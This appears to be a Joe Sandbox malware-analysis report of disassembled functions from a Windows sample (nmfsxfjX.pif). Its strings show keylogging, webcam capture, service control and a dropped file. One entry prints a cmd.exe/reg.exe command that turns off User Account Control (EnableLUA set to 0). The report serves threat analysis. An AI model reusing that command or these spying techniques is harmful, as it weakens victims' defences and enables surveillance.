Opcode Fuzzy Hash: c69a48e60de484867d8b749c5ae4c270b90bc560c43d961a50d917c7878b2bfc
Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE

Uniqueness

Uniqueness Score: -1.00%

Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044335A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044336D
FreeLibrary.KERNEL32(00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG), ref: 00443390

Strings

PkGNG, xrefs: 0044333C
CorExitProcess, xrefs: 00443365
mscoree.dll, xrefs: 00443353

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$PkGNG$mscoree.dll
API String ID: 4061214504-213444651
Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0041ADC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
Sleep.KERNEL32(00002710), ref: 0041AE07
PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10

Strings

Alarm triggered, xrefs: 0041ADC9
`#v, xrefs: 0041ADF2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: PlaySound$HandleLocalModuleSleepTime
String ID: Alarm triggered$`#v
API String ID: 614609389-3049340936
Opcode ID: 2f63ca3754ee2fa8067f4581fa5685451e0165abe6878d0f9dceb9a842065b81
Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
Opcode Fuzzy Hash: 2f63ca3754ee2fa8067f4581fa5685451e0165abe6878d0f9dceb9a842065b81
Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB

Uniqueness

Uniqueness Score: -1.00%

Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0043AC69
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
__allrem.LIBCMT ref: 0043AC9C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
__allrem.LIBCMT ref: 0043ACD1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?), ref: 004044C4

Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C

Strings

FreeFrame, xrefs: 004045B0
HNG, xrefs: 004045E6
OpenCamera, xrefs: 00404582
GetFrame, xrefs: 0040459F
CloseCamera, xrefs: 0040458E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: H_prologSleep
String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
API String ID: 3469354165-3054508432
Opcode ID: 2bae3fc1a4521fd6cfe0abfe2e334f7941d0747335ff3d87f549c58b7eefc5ba
Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
Opcode Fuzzy Hash: 2bae3fc1a4521fd6cfe0abfe2e334f7941d0747335ff3d87f549c58b7eefc5ba
Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E

Uniqueness

Uniqueness Score: -1.00%

Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00445925
__cftoe.LIBCMT ref: 00445957

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 5e612228480a368e38a3c2cd5c9ced2759c3311217c7fd18b84c82b5e53f56ae
Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
Opcode Fuzzy Hash: 5e612228480a368e38a3c2cd5c9ced2759c3311217c7fd18b84c82b5e53f56ae
Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ChangeConfigManager
String ID:
API String ID: 493672254-0
Opcode ID: 91938c1d555d364b93c99e00d8beeb13e1151d7f412d7edf767a6a0184c3eeef
Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
Opcode Fuzzy Hash: 91938c1d555d364b93c99e00d8beeb13e1151d7f412d7edf767a6a0184c3eeef
Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE

Uniqueness

Uniqueness Score: -1.00%

Function 0044A004 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0044A08F
__alldvrm.LIBCMT ref: 0044A290
__alldvrm.LIBCMT ref: 0044A2B2

Strings

PkGNG, xrefs: 0044A006

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID: PkGNG
API String ID: 1036877536-263838557
Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
_free.LIBCMT ref: 0044824C
_free.LIBCMT ref: 00448274
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
_abort.LIBCMT ref: 00448293

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD

Uniqueness

Uniqueness Score: -1.00%

Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 966b63bd912de40b5b615a00da15e5d8939a9a4c78db0212e4922df61029cb32
Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
Opcode Fuzzy Hash: 966b63bd912de40b5b615a00da15e5d8939a9a4c78db0212e4922df61029cb32
Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 881ec567a8ecab9b5ae46dea35bb7569396cf57d6f42af84948da6ead9762d9b
Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
Opcode Fuzzy Hash: 881ec567a8ecab9b5ae46dea35bb7569396cf57d6f42af84948da6ead9762d9b
Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 88b0ec0b9de38ee72874faffadaad7a58cf941c8d18bd5a35ca229f780ffab3e
Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
Opcode Fuzzy Hash: 88b0ec0b9de38ee72874faffadaad7a58cf941c8d18bd5a35ca229f780ffab3e
Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9

Uniqueness

Uniqueness Score: -1.00%

Function 00442801 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

PkGNG, xrefs: 00442803

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788

Uniqueness

Uniqueness Score: -1.00%

Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00404DD2
CloseHandle.KERNEL32(00000000), ref: 00404DDB

Strings

PkGNG, xrefs: 00404CCC

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: PkGNG
API String ID: 3360349984-263838557
Opcode ID: da9b55f167a3d17e97016713e4b8b3caaa4e9716ac3efc00888ec9c07983d3ee
Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
Opcode Fuzzy Hash: da9b55f167a3d17e97016713e4b8b3caaa4e9716ac3efc00888ec9c07983d3ee
Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666

Uniqueness

Uniqueness Score: -1.00%

Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0040A636: SetEvent.KERNEL32(00000000,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

], xrefs: 0040B180
[%04i/%02i/%02i %02i:%02i:%02i , xrefs: 0040B17B
Offline Keylogger Started, xrefs: 0040B16B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: EventLocalTimewsprintf
String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
API String ID: 1497725170-248792730
Opcode ID: 8041cec816ab2e246b71a5493a2e7e61b0e1b04a10b028702d09a00a2ad25ebb
Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
Opcode Fuzzy Hash: 8041cec816ab2e246b71a5493a2e7e61b0e1b04a10b028702d09a00a2ad25ebb
Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A74D), ref: 0040A6AB
GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
CloseHandle.KERNEL32(00000000,?,?,?,0040A74D), ref: 0040A6EE

Strings

XQG, xrefs: 0040A6A0

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSizeSleep
String ID: XQG
API String ID: 1958988193-3606453820
Opcode ID: 205b82dffe9b0f77f7c93e78d4092e9a7ef319f9f0d3ec4eb64b3aa0a1bff41f
Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
Opcode Fuzzy Hash: 205b82dffe9b0f77f7c93e78d4092e9a7ef319f9f0d3ec4eb64b3aa0a1bff41f
Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E

Uniqueness

Uniqueness Score: -1.00%

Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegisterClassExA.USER32(00000030), ref: 0041D55B
CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
GetLastError.KERNEL32 ref: 0041D580

Strings

0, xrefs: 0041D52B
MsgWindowClass, xrefs: 0041D526

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ClassCreateErrorLastRegisterWindow
String ID: 0$MsgWindowClass
API String ID: 2877667751-2410386613
Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4

Uniqueness

Uniqueness Score: -1.00%

Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
CloseHandle.KERNEL32(?), ref: 004077AA
CloseHandle.KERNEL32(?), ref: 004077AF

Strings

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
C:\Windows\System32\cmd.exe, xrefs: 00407796

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
API String ID: 2922976086-4183131282
Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9

Uniqueness

Uniqueness Score: -1.00%

Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

Rmc-L24XL1, xrefs: 004076DA
C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 004076C4

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\Public\Libraries\nmfsxfjX.pif$Rmc-L24XL1
API String ID: 0-614935070
Opcode ID: 1c629e4396ebd3af338879a422fac1621c8df490be40c15e87bc48e2ed270b23
Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
Opcode Fuzzy Hash: 1c629e4396ebd3af338879a422fac1621c8df490be40c15e87bc48e2ed270b23
Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E

Uniqueness

Uniqueness Score: -1.00%

Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
SetEvent.KERNEL32(?), ref: 0040512C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
CloseHandle.KERNEL32(?), ref: 00405140

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

KeepAlive | Disabled, xrefs: 004050F9

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

